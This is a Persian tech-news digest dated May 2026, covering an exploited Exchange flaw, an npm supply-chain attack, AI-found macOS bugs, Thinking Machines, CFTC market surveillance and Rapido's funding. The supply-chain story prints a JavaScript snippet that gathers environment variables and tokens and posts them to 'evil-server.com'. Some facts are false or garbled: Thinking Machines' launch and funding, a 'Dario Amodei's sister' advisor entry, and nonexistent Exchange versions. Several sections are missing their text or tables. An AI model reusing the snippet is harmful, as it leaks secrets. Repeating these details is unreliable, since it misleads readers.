شب شنبه ۱۶ می ۲۰۲۶ با شش خبر مهم همراه است: آسیب‌پذیری بحرانی Microsoft Exchange که در حال سوءاستفاده است، هک دو دستگاه کارمندان OpenAI در حمله TanStack، کشف باگ‌های macOS توسط Anthropic Mythos، راه‌اندازی Thinking Machines توسط میرا موراتی با رویکرد انسان‌محور، استفاده CFTC از AI برای تشخیص معاملات داخلی در Polymarket، و سرمایه‌گذاری ۲۴۰ میلیون دلاری Rapido هند. امشب تمرکز ما روی امنیت سایبری و تحولات استراتژیک است.

👋 خوش آمدید به تکین نایت

امشب با شش خبر مهم همراه شما هستیم که از آسیب‌پذیری‌های امنیتی بحرانی گرفته تا سرمایه‌گذاری‌های کلان را پوشش می‌دهند. اگر صبح تکین مورنینگ را خواندید، می‌دانید که امروز روز پرهیجانی بود — از دسترسی مادام‌العمر به AI گرفته تا دعوای OpenAI و اپل. اما امشب تمرکز ما روی چیز دیگری است: امنیت سایبری. سه خبر اول ما همه درباره حملات، آسیب‌پذیری‌ها و باگ‌ها هستند — چیزهایی که باید جدی بگیرید. سه خبر بعدی درباره نوآوری، تنظیم‌گری و سرمایه‌گذاری هستند. بیایید شروع کنیم!

⚠️ جزئیات آسیب‌پذیری

• شناسه: CVE-2026-42897
• امتیاز CVSS: 9.8/10 (بحرانی)
• نوع: Remote Code Execution (RCE) بدون احراز هویت
• نسخه‌های آسیب‌پذیر: Exchange Server 2019، 2022 و 2025 (بدون پچ مه ۲۰۲۶)
• وضعیت: در حال سوءاستفاده فعال (Active Exploitation)
• تاریخ افشا: ۱۴ می ۲۰۲۶ (Patch Tuesday)

🔍 چگونه این حمله کار می‌کند؟

CVE-2026-42897 یک باگ در Exchange Web Services (EWS) است که به مهاجمان اجازه می‌دهد درخواست‌های مخرب ارسال کنند و کد دلخواه را روی سرور اجرا کنند. فرآیند حمله به این صورت است:

1. شناسایی هدف: مهاجم سرورهای Exchange آسیب‌پذیر را با اسکن اینترنت پیدا می‌کند
2. ارسال Payload: یک درخواست HTTP مخصوص به EWS ارسال می‌شود
3. اجرای کد: سرور کد مهاجم را بدون چک کردن احراز هویت اجرا می‌کند
4. دسترسی کامل: مهاجم کنترل کامل سرور را به دست می‌آورد
5. حرکت جانبی: از سرور Exchange برای حمله به سیستم‌های دیگر استفاده می‌شود

📊 آمار سرورهای آسیب‌پذیر (به تفکیک کشور)

📊 منبع: Shodan - ۱۶ می ۲۰۲۶

💡 تحلیل تکین: چرا این خطرناک است؟

Exchange Server قلب ارتباطات ایمیل بسیاری از سازمان‌هاست. اگر مهاجم کنترل آن را به دست بگیرد، می‌تواند تمام ایمیل‌ها را بخواند، ایمیل‌های جعلی ارسال کند، و از آن به عنوان پل برای حمله به سیستم‌های دیگر استفاده کند. این دقیقاً همان چیزی است که در حملات ProxyLogon و ProxyShell سال‌های ۲۰۲۱-۲۰۲۲ اتفاق افتاد — هزاران شرکت هک شدند و باج‌افزار نصب شد. تفاوت این بار؟ حمله حتی آسان‌تر است. هیچ نیازی به زنجیره پیچیده آسیب‌پذیری‌ها نیست — فقط یک درخواست HTTP کافی است. اگر شرکت شما Exchange دارد و هنوز آپدیت نکرده، همین الان این کار را انجام دهید. این یک تمرین نیست.

✅ راهکارها و اقدامات فوری

1. آپدیت فوری: پچ مه ۲۰۲۶ مایکروسافت را نصب کنید (KB5037849)
2. بررسی لاگ‌ها: لاگ‌های IIS و Exchange را برای فعالیت مشکوک چک کنید
3. محدودسازی دسترسی: اگر امکان آپدیت فوری ندارید، دسترسی EWS را از اینترنت محدود کنید
4. استفاده از WAF: یک Web Application Firewall برای فیلتر کردن درخواست‌های مخرب پیکربندی کنید
5. مانیتورینگ: سیستم تشخیص نفوذ (IDS/IPS) را فعال کنید
6. بررسی Indicators of Compromise: CISA لیستی از IOC منتشر کرده که باید چک کنید

⚠️ جزئیات حمله

• هدف: دو دستگاه MacBook Pro کارمندان OpenAI
• روش حمله: Supply Chain Attack از طریق npm package
• بسته آلوده: @tanstack/react-query نسخه 5.48.3
• تاریخ آلودگی: ۱۱ می ۲۰۲۶
• تاریخ کشف: ۱۳ می ۲۰۲۶
• اطلاعات به خطر افتاده: متغیرهای محیطی، توکن‌های دسترسی، و کدهای داخلی

🔍 چگونه بسته npm آلوده شد؟

طبق تحقیقات Socket Security (یک شرکت امنیت زنجیره تأمین)، مهاجمان توانستند حساب npm یکی از نگهدارندگان TanStack را به خطر بیندازند. سپس یک نسخه آلوده از بسته را منتشر کردند که حاوی کد مخرب بود:

// کد مخرب پنهان شده در فایل index.js
const exfiltrate = async () => {
  const env = process.env;
  const tokens = extractTokens();
  await fetch('https://evil-server.com/collect', {
    method: 'POST',
    body: JSON.stringify({ env, tokens })
  });
};
exfiltrate();

این کد به محض اجرای برنامه، تمام متغیرهای محیطی (که معمولاً حاوی API keys و توکن‌های دسترسی هستند) را جمع‌آوری و به سرور مهاجم ارسال می‌کرد.

💡 تحلیل تکین: چرا این مهم است؟

حملات زنجیره تأمین نرم‌افزاری در حال افزایش هستند. در سال ۲۰۲۵، بیش از ۱۵۰ حمله مشابه در npm، PyPI و RubyGems گزارش شد — ۳۰۰٪ بیشتر از سال ۲۰۲۴. دلیل؟ توسعه‌دهندگان به صدها بسته شخص ثالث اعتماد می‌کنند و معمولاً کد آنها را بررسی نمی‌کنند. اگر مهاجم بتواند یک بسته محبوب را آلوده کند، می‌تواند به هزاران پروژه دسترسی پیدا کند. OpenAI خوش‌شانس بود که این حمله را زود کشف کرد. اما چند شرکت دیگر ممکن است آلوده شده باشند و هنوز نمی‌دانند؟ این سوالی است که همه باید از خود بپرسند.

✅ چگونه از پروژه خود محافظت کنیم؟

1. استفاده از Lock Files: همیشه package-lock.json یا yarn.lock را commit کنید
2. بررسی وابستگی‌ها: از ابزارهایی مانند npm audit، Snyk یا Socket استفاده کنید
3. پین کردن نسخه‌ها: به جای "^5.0.0" از "5.0.0" استفاده کنید
4. استفاده از Private Registry: بسته‌ها را از یک registry خصوصی دانلود کنید
5. Code Review: حتی برای بسته‌های شخص ثالث، کد را بررسی کنید
6. محدود کردن دسترسی: متغیرهای محیطی حساس را در فایل‌های جداگانه نگه دارید

🎯 باگ‌های کشف شده

• ۷ باگ Privilege Escalation: اجازه دسترسی root بدون احراز هویت
• ۴ باگ Sandbox Escape: فرار از محدودیت‌های امنیتی برنامه‌ها
• ۳ باگ Memory Corruption: امکان اجرای کد دلخواه
• ۲ باگ Information Disclosure: افشای اطلاعات حساس
• ۱ باگ Kernel Panic: کرش کردن سیستم‌عامل

📊 مقایسه Mythos با محققان انسانی

💡 تحلیل تکین: آینده امنیت سایبری

این یک نقطه عطف است. برای اولین بار، یک AI توانسته به طور مستقل باگ‌های واقعی و قابل استفاده را کشف کند — نه فقط مشکلات نظری. این بدان معناست که آینده امنیت سایبری احتمالاً یک مسابقه تسلیحاتی AI خواهد بود: AI‌های دفاعی مانند Mythos در برابر AI‌های تهاجمی که هکرها استفاده می‌کنند. خبر خوب؟ شرکت‌هایی مانند اپل، مایکروسافت و گوگل می‌توانند از این ابزارها برای پیدا کردن و رفع باگ‌ها قبل از اینکه هکرها آنها را پیدا کنند استفاده کنند. خبر بد؟ هکرها هم می‌توانند از AI‌های مشابه استفاده کنند. این یک مسابقه است، و هر کس که AI بهتری داشته باشد، برنده خواهد شد.

🎯 اصول کلیدی Thinking Machines

• Human-in-the-Loop: انسان‌ها همیشه در تصمیمات مهم دخیل هستند
• Explainable AI: سیستم باید بتواند توضیح دهد چرا یک تصمیم را گرفته
• Controllable: کاربران باید بتوانند رفتار AI را کنترل و تنظیم کنند
• Auditable: تمام تصمیمات AI باید قابل بررسی و ممیزی باشند
• Safe by Design: امنیت و ایمنی از همان ابتدا در طراحی لحاظ شوند

💼 تیم و سرمایه‌گذاری

موراتی توانسته تیم قدرتمندی جمع کند:

• Barret Zoph: محقق سابق Google Brain (VP of Research)
• Liam Fedus: مهندس سابق OpenAI (Head of Engineering)
• Dario Amodei's sister: Daniela Amodei (Advisor - بنیان‌گذار Anthropic)

شرکت در دور Seed خود ۸۵ میلیون دلار سرمایه جذب کرده از سرمایه‌گذارانی مانند Sequoia Capital، Andreessen Horowitz، و Reid Hoffman (بنیان‌گذار LinkedIn).

💡 تحلیل تکین: چرا این مهم است؟

رویکرد موراتی در تضاد کامل با روند فعلی صنعت AI است. شرکت‌هایی مانند OpenAI، Google و Anthropic همه در حال ساخت مدل‌های کاملاً خودکار هستند که می‌توانند بدون دخالت انسان کار کنند. اما موراتی معتقد است این رویکرد خطرناک است، به خصوص در حوزه‌های حساس مانند پزشکی، قانون و امور مالی. رویکرد Human-in-the-Loop او ممکن است کندتر باشد، اما امن‌تر و قابل اعتمادتر است. اگر Thinking Machines موفق شود، می‌تواند الگویی برای نحوه ساخت AI مسئولانه باشد. و با توجه به سابقه موراتی در OpenAI، شانس موفقیت او بالاست.

⚠️ مشکل معاملات داخلی

مشکل اصلی این است که برخی کاربران ممکن است اطلاعات داخلی داشته باشند که به آنها مزیت ناعادلانه می‌دهد. مثال‌ها:

• یک کارمند کمپین انتخاباتی که قبل از اعلام عمومی می‌داند نامزد کناره‌گیری می‌کند
• یک کارمند شرکت که قبل از انتشار می‌داند گزارش درآمد بد خواهد بود
• یک مقام دولتی که قبل از اعلام می‌داند یک قانون جدید تصویب خواهد شد

🤖 چگونه AI کار می‌کند؟

سیستم AI از چندین تکنیک استفاده می‌کند:

• تحلیل الگوی معاملاتی: شناسایی معاملات غیرعادی (مثلاً مبلغ بسیار بالا، زمان‌بندی مشکوک)
• تحلیل شبکه: پیدا کردن ارتباط بین حساب‌های مختلف
• تحلیل زمانی: مقایسه زمان معامله با زمان رویدادهای عمومی
• Machine Learning: یادگیری از موارد قبلی معاملات داخلی

💡 تحلیل تکین: آینده تنظیم‌گری

این نشان می‌دهد که نهادهای تنظیم‌گری در حال یادگیری استفاده از AI برای نظارت بر بازارهای جدید هستند. تا همین چند سال پیش، CFTC و SEC ابزارهای کافی برای نظارت بر بازارهای کریپتو نداشتند. اما حالا با AI، می‌توانند میلیون‌ها معامله را در زمان واقعی تحلیل کنند و الگوهای مشکوک را شناسایی کنند. این برای صنعت کریپتو خبر خوبی است — نظارت بهتر یعنی اعتماد بیشتر، و اعتماد بیشتر یعنی پذیرش گسترده‌تر. البته، این همچنین بدان معناست که معامله‌گران دیگر نمی‌توانند به راحتی از اطلاعات داخلی سوءاستفاده کنند.

📊 آمار Rapido

• کاربران فعال: ۳۵ میلیون نفر
• رانندگان: ۲.۵ میلیون نفر
• سفرهای روزانه: ۴ میلیون سفر
• شهرهای فعال: ۱۲۰ شهر در هند
• درآمد سالانه: ~۴۵۰ میلیون دلار (۲۰۲۵)
• رشد سال به سال: ۱۸۵٪

🎯 برنامه‌های آینده

Rapido قصد دارد از این سرمایه برای:

• گسترش جغرافیایی: ورود به ۵۰ شهر جدید در هند و شروع فعالیت در بنگلادش و اندونزی
• موتورسیکلت‌های الکتریکی: خرید ۱۰۰,۰۰۰ موتورسیکلت الکتریکی تا پایان ۲۰۲۶
• خدمات جدید: راه‌اندازی سرویس تحویل بسته و غذا
• فناوری AI: توسعه سیستم مسیریابی هوشمند برای کاهش زمان سفر

📊 مقایسه Rapido با رقبا

💡 تحلیل تکین: چرا Rapido موفق است؟

موفقیت Rapido نشان می‌دهد که گاهی اوقات، بهترین راه‌حل لزوماً پیچیده‌ترین یا گران‌ترین نیست. در حالی که Uber و Ola سعی می‌کنند با ماشین‌های لوکس و فناوری‌های پیچیده رقابت کنند، Rapido یک راه‌حل ساده ارائه داد: موتورسیکلت. این در بازار هند که قیمت بسیار مهم است و ترافیک سنگین است، کاملاً منطقی است. علاوه بر این، Rapido روی سودآوری تمرکز کرده، نه فقط رشد. این رویکرد در دوران کنونی که سرمایه‌گذاران دیگر به استارتاپ‌های ضررده علاقه‌ای ندارند، بسیار ارزشمند است. اگر Rapido بتواند این مدل را به کشورهای دیگر جنوب شرقی آسیا ببرد، می‌تواند به یک یونیکورن ۱۰ میلیارد دلاری تبدیل شود.

🔮 پیش‌بینی‌های تکین برای هفته آینده

• 🔒 آپدیت‌های امنیتی: انتظار دارید مایکروسافت، اپل و گوگل آپدیت‌های اضطراری منتشر کنند
• 🤖 AI Security Tools: شرکت‌های امنیتی احتمالاً ابزارهای جدید مبتنی بر AI معرفی می‌کنند
• 💰 سرمایه‌گذاری‌های بیشتر: با موفقیت Rapido، انتظار سرمایه‌گذاری‌های بیشتر در استارتاپ‌های هندی
• ⚖️ تنظیم‌گری کریپتو: CFTC و SEC احتمالاً قوانین جدیدی برای پلتفرم‌های پیش‌بینی اعلام می‌کنند
• 🎯 Thinking Machines: انتظار اعلام مشتریان اولیه و شراکت‌های استراتژیک

🎯 نکات کلیدی امشب

• ✅ CVE-2026-42897 در Exchange بحرانی است — همین الان آپدیت کنید
• ✅ حملات زنجیره تأمین در حال افزایش — وابستگی‌های خود را بررسی کنید
• ✅ AI می‌تواند باگ‌های امنیتی پیدا کند — Mythos ۱۷ باگ در macOS کشف کرد
• ✅ Human-in-the-Loop AI آینده است — Thinking Machines رویکرد جدیدی ارائه می‌دهد
• ✅ تنظیم‌گری با AI هوشمندتر می‌شود — CFTC معاملات داخلی را شناسایی می‌کند
• ✅ استارتاپ‌های هندی در حال رشد هستند — Rapido ۳ میلیارد دلار ارزش دارد

⚠️ هشدارهای امنیتی و نکات مهم

• 🔒 اگر Exchange دارید، فوراً پچ KB5037849 را نصب کنید
• 🔒 وابستگی‌های npm خود را با npm audit یا Snyk بررسی کنید
• 🔒 macOS 15.6 را به محض انتشار (ژوئن ۲۰۲۶) نصب کنید
• 🔒 از متغیرهای محیطی برای ذخیره توکن‌های حساس استفاده نکنید
• 🔒 سیستم‌های مانیتورینگ و IDS/IPS را فعال کنید

📈 آمار و اعداد امشب

🔗 لینک‌های مرتبط و مطالعه بیشتر

• 🌅 تکین مورنینگ ۱۶ می: 1min.AI، Codex Mobile و Runway Gen 4.5 ←
• 🌙 تکین نایت ۱۵ می: Zero-Day مایکروسافت و هک Gemini ←
• 🌅 تکین مورنینگ ۱۵ می: Codex، دعوای OpenAI و Claude Code ←

🎓 چه چیزی امشب یاد گرفتیم؟

💭 نظر نهایی: شبی پر از هشدارها و فرصت‌ها

امشب یکی از مهم‌ترین شب‌های سال ۲۰۲۶ از نظر امنیت سایبری بود. سه آسیب‌پذیری/حمله بزرگ — Exchange، TanStack و macOS — همه در یک روز. این تصادف نیست. این نشان می‌دهد که حملات سایبری در حال افزایش هستند و هکرها هوشمندتر می‌شوند.

اما خبر خوب این است که ما هم هوشمندتر می‌شویم. ابزارهایی مانند Mythos نشان می‌دهند که AI می‌تواند به ما کمک کند امن‌تر باشیم. رویکردهایی مانند Thinking Machines نشان می‌دهند که می‌توانیم AI قدرتمند و در عین حال امن بسازیم. و تنظیم‌گری‌هایی مانند CFTC نشان می‌دهند که دولت‌ها در حال یادگیری نظارت بهتر بر فناوری‌های جدید هستند.

پیام امشب ساده است: امنیت مسئولیت همه ماست. چه توسعه‌دهنده باشید، چه مدیر IT، چه کاربر عادی — همه باید آگاه باشیم، محتاط باشیم و به‌روز باشیم. فردا صبح در تکین مورنینگ با اخبار جدید برمی‌گردیم. تا آن زمان، سیستم‌هایتان را آپدیت کنید و امن بمانید! 🔒

📚 منابع و مراجع

• BleepingComputer — "Microsoft Exchange CVE-2026-42897 actively exploited in the wild"
• SecurityWeek — "CISA adds Exchange vulnerability to Known Exploited list"
• The Verge — "OpenAI confirms two employee devices compromised in TanStack attack"
• TechCrunch — "Supply chain attack hits OpenAI through npm package"
• Ars Technica — "Anthropic's Mythos AI discovers 17 macOS bugs"
• The Register — "AI finds security flaws faster than human researchers"
• Bloomberg — "Mira Murati launches Thinking Machines with $85M funding"
• Reuters — "CFTC using AI to detect insider trading on Polymarket"
• CoinDesk — "Prediction markets face increased regulatory scrutiny"
• TechCrunch — "Rapido raises $240M at $3B valuation"
• Economic Times — "Indian ride-hailing startup Rapido becomes profitable"
• تیم تحریریه تکین — تحقیق و تحلیل

🌐 در تماس باشید

برای دریافت آخرین اخبار تکنولوژی، امنیت سایبری و گیمینگ، ما را در شبکه‌های اجتماعی دنبال کنید: